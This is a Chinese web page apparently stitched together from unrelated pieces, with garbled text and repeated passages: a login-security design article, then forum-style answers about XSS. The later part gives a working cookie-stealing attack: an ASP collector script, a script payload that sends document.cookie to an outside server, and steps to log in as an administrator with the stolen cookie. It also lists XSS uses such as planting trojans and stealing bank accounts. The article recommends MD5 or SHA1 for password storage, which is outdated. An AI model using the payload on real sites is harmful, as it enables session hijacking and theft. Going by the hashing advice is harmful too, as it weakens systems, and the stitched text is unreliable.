如何设计安全的用户登录功能
Web上的用户登录功能应该是最基本的功能了，可是在我看过一些站点的用户登录功能后，我觉得很有必要写一篇文章教大家怎么来做用户登录功能。下面的文章告诉大家这个功能可能并没有你所想像的那么简单，这是一个关系到用户安全的功能，希望大家能从下面的文章中能知道什么样的 *** 才是一个好的用户登录功能。
用户名和口令
首先，我们先来说说用户名和口令的事。这并不是本站之一次谈论这个事了。如何管理自己的口令让你知道怎么管理自己的口令，破解你的口令让你知道在现代这样速度的计算速度下，用穷举法破解你的口令可能会是一件很轻松的事。在这里我想告诉从开发者的角度上来做设计这个用户名和口令的事。下面一几件规则：
限制用户输入一些非常容易被破解的口令。如什么qwert，123456, password之类，就像twitter限制用户的口令一样做一个口令的黑名单。另外，你可以限制用户口令的长度，是否有大小写，是否有数字，你可以用你的程序做一下校验。当然，这可能会让用户感到很不爽，所以，现在很多网站都提供了UX让用户知道他的口令强度是什么样的（比如这个有趣的UX），这样可以让用户有一个选择，目的就是告诉用户——要想安全，先把口令设得好一点。
千万不要明文保存用户的口令。正如如何管理自己的口令所说的一样，很多时候，用户都会用相同的ID相同的口令来登录很多网站。所以，如果你的网站明文保存的话，那么，如果你的数据被你的不良员工流传出去那对用户是灾难性的。所以，用户的口令一定要加密保存，更好是用不可逆的加密，如MD5或是SHA1之类的有hash算法的不可逆的加密算法。CSDN曾明文保存过用户的口令。（另，对于国内公司的品行以及有关部门的管理方式，我不敢保证国内网站以加密的方式保存你的口令。我觉得，做为一个有良知的人，我们应该加密保存用户的口令）
是否让浏览器保存口令。我们有N多的 *** 可以不让浏览器保存用户名和口令。但是这可能对用户来说很不爽。因为在真实世界里谁也记得不住那么多的口令。很多用户可能会使用一些密码管理工具来保存密码，浏览器只是其中一种。是否让浏览器保存这个需要你做决定，重点是看一下你的系统的安全级别是否要求比较高，如果是的话，则不要让浏览器保存密码，并在网站明显的位置告诉用户——保存口令最安全的地方只有你的大脑。
口令在网上的传输。因为HTTP是明文协议，所以，用户名和口令在网上也是明文发送的，这个很不安全。你可以看看这篇文章你就明白了。要做到加密传输就必需使用HTTPS协议。但是，在中国还是有很多网站的Web登录方式还在使用ActiveX控件，这可能成为IE6还大量存在的原因。我通常理解为这些ActiveX控件是为了反键盘记录程序的。不过，我依然觉ActiveX控件不应该存在，因为在国外的众多安全很重要的站点上都看不到ActiveX的控件的身影。
用户登录状态
首先，我想告诉大家的是，因为HTTP是无状态的协议，也就是说，这个协议是无法记录用户访问状态的，其每次请求都是独立的无关联的，一笔是一笔。而我们的网站都是设计成多个页面的，所在页面跳转过程中我们需要知道用户的状态，尤其是用户登录的状态，这样我们在页面跳转后我们才知道是否可以让用户有权限来操作一些功能或是查看一些数据。
所以，我们每个页面都需要对用户的身份进行认证。当然，我们不可能让用户在每个页面上输入用户名和口令，这会让用户觉得我们的网站相当的SB。为了实现这一功能，用得最多的技术就是浏览器的cookie，我们会把用户登录的信息存放在客户端的cookie里，这样，我们每个页面都从这个cookie里获得用户是否登录的信息，从而达到记录状态，验证用户的目的。但是，你真的会用cookie吗？下面是使用cookie的一些原则。
千万不要在cookie中存放用户的密码。加密的密码都不行。因为这个密码可以被人获取并尝试离线穷举。所以，你一定不能把用户的密码保存在cookie中。我看到太多的站点这么干了。
正确设计“记住密码”。这个功能简直就是一个安全隐患，我觉得并不是所有的程序员都知道怎么设计这个事。一般的设计是——一时用户勾选了这个功能，系统会生成一个cookie，cookie包括用户名和一个固定的散列值，这个固定的散列值一直使用。这样，你就可以在所有的设备和客户上都可以登录，而且可以有多个用户同时登录。这个并不是很安全。下面是一些更为安全的 *** 供你参考：
（——更新 2011/08/26，原文中有些小错误，并且说的不清楚，重新调整了一下——）
1）在cookie中，保存三个东西——用户名，登录序列，登录token。
用户名：明文存放。
登录序列：一个被MD5散列过的随机数，仅当强制用户输入口令时更新（如：用户修改了口令）。
登录token：一个被MD5散列过的随机数，仅一个登录session内有效，新的登录session会更新它。
2）上述三个东西会存在服务器上，服务器的验证用户需要验证客户端cookie里的这三个事。
3）这样的设计会有什么样的效果，会有下面的效果，
a）登录token是单实例登录。意思就是一个用户只能有一个登录实例。
b）登录序列是用来做盗用行为检测的。如果用户的cookie被盗后，盗用者使用这个cookie访问网站时，我们的系统是以为是合法用户，然后更新“登录token”，而真正的用户回来访问时，系统发现只有“用户名”和“登录序列”相同，但是“登录token”不对，这样的话，系统就知道，这个用户可能出现了被盗用的情况，于是，系统可以清除并更改登录序列 和 登录token，这样就可以令所有的cookie失效，并要求用户输入口令。并给警告用户系统安全。
4）当然，上述这样的设计还是会有一些问题，比如：同一用户的不同设备登录，甚至在同一个设备上使用不同的浏览器保登录。一个设备会让另一个设备的登录token和登录序列失效，从而让其它设备和浏览器需要重新登录，并会造成cookie被盗用的假象。所以，你在服务器服还需要考虑- IP 地址，
a）如果以口令方式登录，我们无需更新服务器的“登录序列”和 “登录token”（但需要更新cookie）。因为我们认为口令只有真正的用户知道。
b）如果 IP相同 ，那么，我们无需更新服务器的“登录序列”和 “登录token”（但需要更新cookie）。因为我们认为是同一用户有同一IP（当然，同一个局域网里也有同一IP，但我们认为这个局域网是用户可以控制的。网吧内并不推荐使用这一功能）。
c）如果（IP不同 没有用口令登录），那么，“登录token”就会在多个IP间发生变化（登录token在两个或多个ip间被来来 *** 的变换），当在一定时间内达到一定次数后，系统才会真正觉得被盗用的可能性很高，此时系统在后台清除“登录序列”和“登录token“，让Cookie失效，强制用户输入口令（或是要求用户更改口令），以保证多台设备上的cookie一致。
不要让cookie有权限访问所有的操作。否则就是XSS攻击，这个功能请参看新浪微博的XSS攻击。下面的这些功能一定要用户输入口令：
1）修改口令。
2）修改电子邮件。（电子邮件通过用来找回用户密码）
3）用户的隐私信息。
4）用户消费功能。
权衡Cookie的过期时间。如果是永不过期，会有很不错的用户体验，但是这也会让用户很快就忘了登录密码。如果设置上过期期限，比如2周，一个月，那么可能会好一点，但是2周和一个月后，用户依然会忘了密码。尤其是用户在一些公共电脑上，如果保存了永久cookie的话，等于泄露了帐号。所以，对于cookie的过期时间我们还需要权衡。
找回口令的功能
找回口令的功能一定要提供。但是很多朋友并不知道怎么来设计这个功能。我们有很多找回口令的设计，下面我逐个点评一下。
千万不要使用安全问答。事实证明，这个环节很烦人，而且用户并不能很好的设置安全问答。什么，我的生日啊，我母亲的生日，等等。因为今天的互联网和以前不一样了，因为SNS，今天的互联比以前更真实了，我可以上facebook，开心，人人网，LinkedIn查到你的很多的真实的信息。通过这些信息我可以使用安全问答来重设你的口令。这里需要说一下 Facebook，Facebook的安全问答很强大，还要你通过照片认人，呵呵。
不要重置用户的密码。因为这有可能让用户的密码遭到恶意攻击。当然，你要发个邮件给用户让其确认，用户点击邮件中的一个链接，你再重置。我并不推荐这样的 *** ，因为用户一般都会用笔记下来这个很难记的口令，然后登录系统，因为登录系统时使用了“记住密码”的功能，所以导致用户不会去修改密码，从而要么导到被写下来的密码被人盗取，要么又忘记了密码。
好一点的做法——通过邮件自行重置。当用户申请找回口令功能的时候，系统生成一个MD5唯一的随机字串（可通过UID+IP+timestamp+随机数），放在数据库中，然后设置上时限（比如1小时内），给用户发一个邮件，这个连接中包含那个MD5的字串的链接，用户通过点击那个链接来自己重新设置新的口令。
更好一点的做法——多重认证。比如：通过手机+邮件的方式让用户输入验证码。手机+邮件可能还不把握，因为手机要能会丢了，而我的手机可以访问我的邮箱。所以，使用U盾，SecureID（一个会变化的6位数token），或是通过人工的方式核实用户身份。当然，这主要看你的系统的安全级别了。
口令探测防守
使用验证码。验证码是后台随机产生的一个短暂的验证码，这个验证码一般是一个计算机很难识别的图片。这样就可以防止以程序的方式来尝试用户的口令。事实证明，这是最简单也最有效的方式。当然，总是让用户输入那些肉眼都看不清的验证码的用户体验不好，所以，可以折中一下。比如Google，当他发现一个IP地址发出大量的搜索后，其会要求你输入验证码。当他发现同一个IP注册了3个以上的gmail邮箱后，他需要给你发短信方式或是 *** 方式的验证码。
用户口令失败次数。调置口令失败的上限，如果失败过多，则把帐号锁了，需要用户以找回口令的方式来重新激活帐号。但是，这个功能可能会被恶意人使用。更好的 *** 是，增加其尝试的时间成本（以前的这篇文章说过一个增加时间成本的解密算法）。如，两次口令尝试的间隔是5秒钟。三次以上错误，帐号被临时锁上30秒，5次以上帐号被锁1分钟，10次以上错误帐号被锁4小时……
系统全局防守。上述的防守只针对某一个别用户。恶意者们深知这一点，所以，他们一般会动用“僵尸 *** ”轮着尝试一堆用户的口令，所以上述的那种 *** 可能还不够好。我们需要在系统全局域上监控所有的口令失败的次数。当然，这个需要我们平时没有受到攻击时的数据做为支持。比如你的系统，平均每天有5000次的口令错误的事件，那么你可以认为，当口令错误大幅超过这个数后，而且时间相对集中，就说明有黑客攻击。这个时候你怎么办？一般最常见使用的 *** 是让所有的用户输错口令后再次尝试的时间成本增加。
最后，再说一下，关于用户登录，使用第三方的 OAuth 和 OpenID 也不失为一个很不错的选择。
利用最近热门的Xss漏洞能做什么？
1、针对性挂马 所以这类网站一定是游戏网站，银行网站或者是关于qq、taobao或者影响力相当大的网站等，它们必须有我们平常需要盗取的帐号密码;当然也或许是这个站点的浏览量相当高，我们能将更多的马挂出去。 而如果仅仅是平平常常的一个小站点的XSS漏洞，如果我们要挂马，那么莫不如就直接把木马页面地址贴出去。 2、用户权限下操作 这类网站则必须有会员了，而且这些会员有很多有意义的操作或者有我们需要的内部个人资料，所以我们可以通过XSS对已登录访问者进行有权限操作。我认为cookies的盗取应该算作这一项，因为其目的也是获取用户操作权限(盗密码包括在内)，从而获取用户某些信息或者进行权限下的相关操作。 3、Dos攻击或傀儡机 这同样需要一个访问量非常大的站点，利用小站点莫不如我们自己攻击或获取信息。我们可以通过此页的访问用户不间断地攻击其他站点，或者进行局域网扫描等等。这类js工具早已经产生，js端口扫描、jikto、xssshell等等。 4、提权 一般这主要发生在论坛或信息管理系统，总之一定要有管理员了。这需要攻击者对目标系统相当熟悉(一般这样的系统需要开源代码)，从而知道怎样构造语句进行提权。 5、实现特殊效果 譬如Monyer在百度空间的插入视频，插入版块;譬如一些人在新浪博客或者校内网实现的特殊效果等等。 结论： 从而你应该了解到这些网站应该具有的性质： 极高的访问量，有会员，有管理员，有具有价值的帐号密码，或者有意义进行特殊效果的实现。 如果你读过《Ajax Hacking with XSS》，你应该知道XSS至少包含input XSS和textarea XSS等七种方式。 其中url XSS属于input XSS，这些漏洞大部分属于保留式的XSS，而textarea XSS等一般属于不保留XSS。 这意味着正常访问一个页面是不会触发保留式的XSS的，尽管这是大部分网站具有的漏洞，其中搜索部分又称搜索式XSS漏洞。 所以当你获取了一个input XSS，你仅仅alert出一个小框框。你跟别人大吹大擂，你发现了一个漏洞，并且你可以alert一个框框给他看，但是事实上你什么都做不了。即使你能挂些小木马，那也是很没意义的事情——因为你莫不如直接在自己的虚拟主机里做XSS页面发给别人。 这个跟sql注入不同，XSS毕竟是客户端的东西。sql注入的目的往往是为了得到目标系统的权限，并且sql语句本身执行的就是服务端的指令;但 XSS一般却是为了获得客户端的东西，执行的也是客户端的指令。所以他们可以“'”一下“出错了”而大喊，你却不能因为“alert”出了“xss窗口” 而乱叫。
求采纳
简要说明什么是sql注入，xss攻击，并用代码示例
简要说明什么是sql注入，xss攻击，并用代码示例
XSS攻击：跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。
黑客进行xss跨站攻击所嵌入的代码是不是一般来说都是获取用户cookies
我认为应该有几点：
1、针对性挂马。所以这类网站一定是游戏网站，银行网站或者是关于qq、taobao或者影响力相当大的网站等，它们必须有我们平常需要盗取的帐号密码；当然也或许是这个站点的浏览量相当高，我们能将更多的马挂出去。而如果仅仅是平平常常的一个小站点的XSS漏洞，如果我们要挂马，那么还不如就直接把木马页面地址贴出去。
2、用户权限下操作。这类网站则必须有会员了，而且这些会员有很多有意义的操作或者有我们需要的内部个人资料，所以我们可以通过XSS对已登录访问者进行有权限操作。我认为cookies的盗取应该算作这一项，因为其目的也是获取用户操作权限（盗密码包括在内），从而获取用户某些信息或者进行权限下的相关操作。
3、DDOS攻击或傀儡机。这同样需要一个访问量非常大的站点，利用小站点莫不如我们自己攻击或获取信息。我们可以通过此页的访问用户不间断地攻击其他站点，或者进行局域网扫描等等。这类js工具早已经产生，js端口扫描、jikto、xssshell等等。
4、提权。一般这主要发生在论坛或信息管理系统，总之一定要有管理员了。这需要攻击者对目标系统相当熟悉（一般这样的系统需要开源代码），从而知道怎样构造语句进行提权。
5、实现特殊效果。譬如我在百度空间的插入视频，插入版块；譬如一些人在新浪博客或者校内网实现的特殊效果等等。
怎么用xss代码让cookie弹窗
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
msg = Request('msg') //获取提交过来的msg变量，也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件，放到你自己的网站服务器下。比如这里我们自己搭建的服务器为：http://10.65.20.196:8080。
XSS构造语句
scriptwindow.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中，不过这里更好是存储型xss，比如你找到了某个博客或者论坛什么的存在存储型XSS，你在里面发一篇帖子或者留上你的评论，内容就是上述语句，当其他用户或者管理员打开这个评论或者帖子链接后，就会触发，然后跳转到http://10.65.20.196:8080/cookie.asp?msg='+document.cookie的页面，然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下：
1、在存在漏洞的论坛中发日志：
X
2、然后以管理远登陆，进入后页面会跳转，此时cookie就发送到你的服务器下的code.txt文件中了：
3、这是没有账户前的登陆界面：
4、打开firefox的Tamper Data插件，点击Start Tamper开始抓取信息，刷新登陆界面，然后会跳出对话框，点击Tamper按钮，在途中的cookie一栏中替换掉你抓取到的cookie，单击确定发送请求数据：
5、替换cookie后不用输用户名密码就顺利进入管理员账户了：
什么是xxs漏洞
XSS攻击的危害包括 1、盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号 2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力 3、盗窃企业重要的具有商业价值的资料 4、非法转账 5、强制发送电子邮件 6、网站挂马 7、控制受害者机器向其它网站发起攻击 1.2 XSS漏洞的分类 XSS漏洞按照攻击利用手法的不同，有以下三种类型： 类型A，本地利用漏洞，这种漏洞存在于页面中客户端脚本自身。其攻击过程如下所示： Alice给Bob发送一个恶意构造了Web的URL。 Bob点击并查看了这个URL。 恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。 具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。 Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。 类型B，反射式漏洞，这种漏洞和类型A有些类似，不同的是Web客户端使用Server端脚本生成页面为用户提供数据时，如果未经验证的用户数据被包含在页面中而未经HTML实体编码，客户端代码便能够注入到动态页面中。其攻击过程如下： Alice经常浏览某个网站，此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录，并存储敏感信息(比如银行帐户信息)。 Charly发现Bob的站点包含反射性的XSS漏洞。 Charly编写一个利用漏洞的URL，并将其冒充为来自Bob的邮件发送给Alice。 Alice在登录到Bob的站点后，浏览Charly提供的URL。 嵌入到URL中的恶意脚本在Alice的浏览器中执行，就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。 类型C，存储式漏洞，该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞，骇客将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄漏的可能，其中也包括了Web服务器的管理员。其攻击过程如下： Bob拥有一个Web站点，该站点允许用户发布信息/浏览已发布的信息。 Charly注意到Bob的站点具有类型C的XXS漏洞。 Charly发布一个热点信息，吸引其它用户纷纷阅读。 Bob或者是任何的其他人如Alice浏览该信息，其会话cookies或者其它信息将被Charly盗走。 类型A直接威胁用户个体，而类型B和类型C所威胁的对象都是企业级Web应用